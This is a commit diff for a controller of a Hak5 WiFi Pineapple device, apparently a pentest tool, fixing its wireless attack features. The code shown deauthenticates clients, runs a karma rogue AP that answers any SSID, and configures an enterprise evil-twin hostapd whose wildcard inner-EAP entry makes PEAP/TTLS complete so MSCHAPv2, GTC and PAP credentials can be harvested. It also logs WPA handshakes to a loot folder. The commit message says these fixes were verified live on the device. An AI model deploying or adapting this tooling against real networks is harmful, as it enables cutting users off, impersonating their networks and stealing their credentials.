fix(enterprise,deauth,filters): PineAP validation round fixes, live-verified on Pager 24.10.1
- deauth/kick: use full PINEAPPLE_DEAUTH_CLIENT hak5cmd app name (BUG 1)
- _allow_all_ssids: PINEAPPLE_NETWORK_FILTER_MODE deny so karma lets
clients associate after deploy (BUG 2)
- enterprise inner EAP (BUG 3), two root causes found by live experiment:
- hostapd never wildcard-matches a bare `*` identity for phase-2
lookups; eap_users now uses quoted empty prefix `""* ... [2]`,
which prefix-matches any inner identity
- pineape_auth_pass=1 forwards inner EAP to pineapd, which has no
standalone responder; deploy forces 0 and stop restores 1
Residual: plaintext MSCHAPv2 capture is firmware-blocked on 24.10.1
(MSG_DEBUG compiled out of the karma wpad; `-f` silently ignored);
documented in code comments and the validation report.
- ISSUE 4: point pineapd.@hostapd[0].mgmtiface at wlan1wpa during 5 GHz
WPA deploys so handshakes/loot populate; cleared on stop
- ISSUE 5: radio0 set_ap path polls 90 s across the wifi-reload window
and retries set_ap once if the iface still has not appeared
- ISSUE 6: skills docs use `llc && eth.type == 0x888e` (firmware tcpdump
matches 0 frames on `eapol`)
- ISSUE 7: capture state helper detects dead-pid / iface-down, cleans up,
status reports {running:false, stale:true} instead of zombie running
- tests: fix global os.path monkeypatch leaks between test modules that
broke test_mk8_events/test_reliability_api under discovery; add
regression coverage for all fixes above (463 tests green)
Live validation evidence and newly discovered firmware quirks
(DEVICE_FILTER_DELETE no-op, dropbear rate limiting) recorded in
docs/validation/2026-08-23-pineap-validation-report.md.
This commit is contained in:
@@ -3006,7 +3006,7 @@ def _deauth_client_via_iface(mac):
|
||||
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
|
||||
if inject != 'wlan1mon':
|
||||
_pineap('INTERFACE', 'INJECT', inject)
|
||||
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac,
|
||||
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, mac,
|
||||
str(channel)], timeout=30)
|
||||
return rc == 0, (err or out)
|
||||
|
||||
@@ -3691,7 +3691,8 @@ def _enable_attack_engine():
|
||||
def _allow_all_ssids():
|
||||
"""Set the SSID filter to deny mode (allow-by-default) so karma
|
||||
responds to any probed SSID."""
|
||||
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
|
||||
rc, out, err = device_run(
|
||||
[HAK5CMD, 'PINEAPPLE_NETWORK_FILTER_MODE', 'deny'], timeout=30)
|
||||
return rc == 0
|
||||
|
||||
|
||||
@@ -3770,10 +3771,29 @@ def _deploy_wpa_open(kind, fields):
|
||||
'country': fields.get('country') or 'US',
|
||||
}, None)
|
||||
iface = 'wlan1open'
|
||||
if band != BAND_2G and kind == 'wpa':
|
||||
# pineapd only logs own-AP handshakes for the iface named in
|
||||
# pineapd.@hostapd[0].wpaiface (radio0). Pointing mgmtiface at the
|
||||
# radio1 twin makes pineapd recognize it too, so hostap_handshake
|
||||
# rows and /root/loot/handshakes populate for 5 GHz attacks.
|
||||
device_run(['uci', 'set',
|
||||
'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
_enable_attack_engine()
|
||||
_allow_all_ssids()
|
||||
# The daemon applies AP changes asynchronously; allow a full reload cycle.
|
||||
verified = _verify_iface(iface, timeout=45)
|
||||
# The radio0 daemon `set_ap` path triggers `wifi reload`, which drops both
|
||||
# radios for ~40-60 s -- poll well past that window and, if the iface
|
||||
# still has not appeared, retry the set_ap once so the deploy rides out
|
||||
# the restart instead of returning verified:false (and letting the
|
||||
# rollback watchdog resurrect an older snapshot).
|
||||
verified = _verify_iface(iface, timeout=90 if band == BAND_2G else 45)
|
||||
if not verified and band == BAND_2G:
|
||||
status, data = daemon_sock_call(
|
||||
'PUT', '/api/settings/wifi/set_ap',
|
||||
body={'configs': [daemon_cfg]}, timeout=45)
|
||||
if status == 200:
|
||||
verified = _verify_iface(iface, timeout=30)
|
||||
return {'kind': kind, 'ssid': ssid, 'iface': iface, 'band': band,
|
||||
'channel': int(channel or 1), 'auto': fields.get('channel') is None,
|
||||
'verified': verified}
|
||||
@@ -3796,8 +3816,18 @@ def _disable_enterprise_ap(resume_hop=True):
|
||||
except OSError:
|
||||
pass
|
||||
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
changed = False
|
||||
if rc == 0 and out.strip() == ENT_IFACE:
|
||||
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
changed = True
|
||||
# Deploy forced auth passthrough off (it breaks standalone inner EAP);
|
||||
# restore the firmware default so the stock flow is unchanged.
|
||||
rc, out, err = device_run(['uci', 'get',
|
||||
'pineapd.@hostapd[0].pineape_auth_pass'])
|
||||
if rc != 0 or out.strip() != '1':
|
||||
device_run(['uci', 'set', 'pineapd.@hostapd[0].pineape_auth_pass=1'])
|
||||
changed = True
|
||||
if changed:
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
device_run(['/etc/init.d/pineapd', 'reload'])
|
||||
if resume_hop and not _radio1_ap_active():
|
||||
@@ -3834,22 +3864,28 @@ def _eap_secret(value):
|
||||
|
||||
|
||||
def _eap_users_text(secret, method='any'):
|
||||
"""hostapd eap_user_file: PEAP/TTLS outer + inner EAP (WPE-style wildcard).
|
||||
"""hostapd eap_user_file for PEAP/TTLS inner capture.
|
||||
|
||||
A phase-1-only `* MSCHAPV2` file cannot complete PEAP/TTLS, so clients
|
||||
never send an inner identity or MSCHAPv2 response.
|
||||
hostapd_get_eap_user() only wildcard-matches (identity == NULL) when
|
||||
phase2 == 0, so a bare `* <methods> [2]` entry can NEVER satisfy the
|
||||
tunneled phase-2 identity lookup -- clients see an instant inner
|
||||
EAP-Failure right after the TLS tunnel comes up. Phase-2 entries must
|
||||
carry a quoted identity; a quoted EMPTY prefix `""*` prefix-matches
|
||||
any identity. Verified live on Pager firmware 24.10.1
|
||||
(wpad 2.12-devel karma): PEAP/MSCHAPv2 completes end-to-end.
|
||||
"""
|
||||
secret = _eap_secret(secret)
|
||||
method = (method or 'any').strip().lower()
|
||||
if method == 'gtc':
|
||||
inner = 'GTC,TTLS-PAP,MD5'
|
||||
inner = 'GTC,TTLS-PAP'
|
||||
elif method == 'mschapv2':
|
||||
inner = 'MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP'
|
||||
else:
|
||||
inner = 'TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS-MSCHAPV2'
|
||||
inner = ('MSCHAPV2,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,'
|
||||
'TTLS-MSCHAPV2')
|
||||
return (
|
||||
'*\tPEAP,TTLS\n'
|
||||
'*\t%s\t"%s"\t[2]\n' % (inner, secret)
|
||||
'""*\t%s\t"%s"\t[2]\n' % (inner, secret)
|
||||
)
|
||||
|
||||
|
||||
@@ -4171,17 +4207,21 @@ def _hostapd_failure_text(out, err):
|
||||
|
||||
|
||||
def _start_ent_hostapd():
|
||||
"""Start hostapd, dropping keys this firmware does not understand."""
|
||||
"""Start the standalone enterprise hostapd.
|
||||
|
||||
This firmware's hostapd accepts `-f <log>` but silently ignores it
|
||||
(fd 1 stays /dev/null) and its MSG_DEBUG/MSG_MSGDUMP stdout logging is
|
||||
compiled out entirely, so no log channel can carry MSCHAPv2
|
||||
challenge/response hexdumps -- credential harvesting therefore relies
|
||||
on recon.db tables fed by pineapd, not on ENT_LOG. We simply drop the
|
||||
useless `-f` so the fallback path cannot lose it again.
|
||||
"""
|
||||
last = (1, '', '')
|
||||
for _ in range(5):
|
||||
rc, out, err = device_run(
|
||||
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, '-f', ENT_LOG, ENT_CONF],
|
||||
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF],
|
||||
timeout=25)
|
||||
combined = '%s\n%s' % (err or '', out or '')
|
||||
if rc != 0 and re.search(r'invalid option|unrecognized option|unknown option', combined, re.I):
|
||||
rc, out, err = device_run(
|
||||
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], timeout=25)
|
||||
combined = '%s\n%s' % (err or '', out or '')
|
||||
last = (rc, out, err)
|
||||
if rc == 0:
|
||||
return rc, out, err
|
||||
@@ -4271,6 +4311,11 @@ def _deploy_enterprise(fields):
|
||||
# Tell the karma build which iface is the management (enterprise) AP and
|
||||
# make karma respond to any SSID (deny mode = allow by default).
|
||||
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
|
||||
# pineape_auth_pass=1 forwards the tunneled inner EAP to pineapd, which
|
||||
# has no responder for a standalone AP: clients get an instant inner
|
||||
# EAP-Failure right after the TLS handshake. With 0, our hostapd
|
||||
# eap_server terminates inner MSCHAPv2/GTC/PAP itself (validated live).
|
||||
device_run(['uci', 'set', 'pineapd.@hostapd[0].pineape_auth_pass=0'])
|
||||
device_run(['uci', 'set', 'pineapd.@ssid_filter[0].mode=deny'])
|
||||
device_run(['uci', 'set', 'pineapd.@mac_filter[0].mode=deny'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
@@ -4489,12 +4534,46 @@ def h_attacks_stop(ctx):
|
||||
if stopped:
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
device_run(['wifi', 'reload'])
|
||||
# Release the 5 GHz handshake-logging pointer taken at deploy time.
|
||||
rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
if rc == 0 and out.strip() == 'wlan1wpa':
|
||||
device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface'])
|
||||
device_run(['uci', 'commit', 'pineapd'])
|
||||
# Leave hop alone if a radio1 AP is still active.
|
||||
if not _radio1_ap_active():
|
||||
_resume_hop()
|
||||
return 200, {'ok': True, 'stopped': stopped}
|
||||
|
||||
|
||||
def _capture_state(pidfile, iface):
|
||||
"""Liveness of a monitor capture: (running, pid, stale).
|
||||
|
||||
`stale` means the recorded capture died on us: the tcpdump process is
|
||||
gone or the monitor iface was dropped mid-capture (e.g. a `wifi reload`
|
||||
from an overlapping deploy). Stale state is cleaned up so callers see
|
||||
'stopped' instead of a zombie 'running'.
|
||||
"""
|
||||
try:
|
||||
with open(pidfile) as f:
|
||||
pid = int(f.read().strip())
|
||||
except (OSError, ValueError):
|
||||
return False, None, False
|
||||
if not os.path.exists('/proc/%d' % pid):
|
||||
try:
|
||||
os.unlink(pidfile)
|
||||
except OSError:
|
||||
pass
|
||||
return False, pid, True
|
||||
if not os.path.exists('/sys/class/net/%s' % iface):
|
||||
device_run(['kill', str(pid)], timeout=10)
|
||||
try:
|
||||
os.unlink(pidfile)
|
||||
except OSError:
|
||||
pass
|
||||
return False, pid, True
|
||||
return True, pid, False
|
||||
|
||||
|
||||
def h_attacks_capture(ctx):
|
||||
body = ctx.body or {}
|
||||
action = body.get('action') or 'status'
|
||||
@@ -4503,14 +4582,10 @@ def h_attacks_capture(ctx):
|
||||
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
|
||||
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
||||
capdir = '/root/loot/pcap'
|
||||
running, old, stale = _capture_state(pidfile, iface)
|
||||
if action == 'start':
|
||||
try:
|
||||
with open(pidfile) as f:
|
||||
old = int(f.read().strip())
|
||||
if os.path.exists('/proc/%d' % old):
|
||||
return 200, {'running': True, 'pid': old, 'iface': iface}
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
if running:
|
||||
return 200, {'running': True, 'pid': old, 'iface': iface}
|
||||
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
|
||||
rc, out, err = device_run(
|
||||
['sh', '-c',
|
||||
@@ -4525,26 +4600,16 @@ def h_attacks_capture(ctx):
|
||||
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
|
||||
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
|
||||
if action == 'stop':
|
||||
try:
|
||||
with open(pidfile) as f:
|
||||
old = int(f.read().strip())
|
||||
if old is not None:
|
||||
device_run(['kill', str(old)], timeout=10)
|
||||
try:
|
||||
os.unlink(pidfile)
|
||||
except OSError:
|
||||
pass
|
||||
return 200, {'running': False, 'stopped': old}
|
||||
except (OSError, ValueError):
|
||||
return 200, {'running': False, 'stopped': None}
|
||||
try:
|
||||
os.unlink(pidfile)
|
||||
except OSError:
|
||||
pass
|
||||
return 200, {'running': False, 'stopped': old}
|
||||
# status
|
||||
running = False
|
||||
try:
|
||||
with open(pidfile) as f:
|
||||
old = int(f.read().strip())
|
||||
running = os.path.exists('/proc/%d' % old)
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
return 200, {'running': running, 'iface': iface}
|
||||
return 200, {'running': running, 'iface': iface,
|
||||
'stale': stale, 'pid': old}
|
||||
|
||||
|
||||
def h_attacks_export_hc22000(ctx):
|
||||
@@ -4599,7 +4664,7 @@ def h_attacks_deauth(ctx):
|
||||
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
|
||||
if inject != 'wlan1mon':
|
||||
_pineap('INTERFACE', 'INJECT', inject)
|
||||
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client,
|
||||
rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client,
|
||||
str(channel or 1)], timeout=30)
|
||||
if rc != 0:
|
||||
return 502, {'error': 'deauth failed', 'detail': err or out}
|
||||
|
||||
Reference in New Issue
Block a user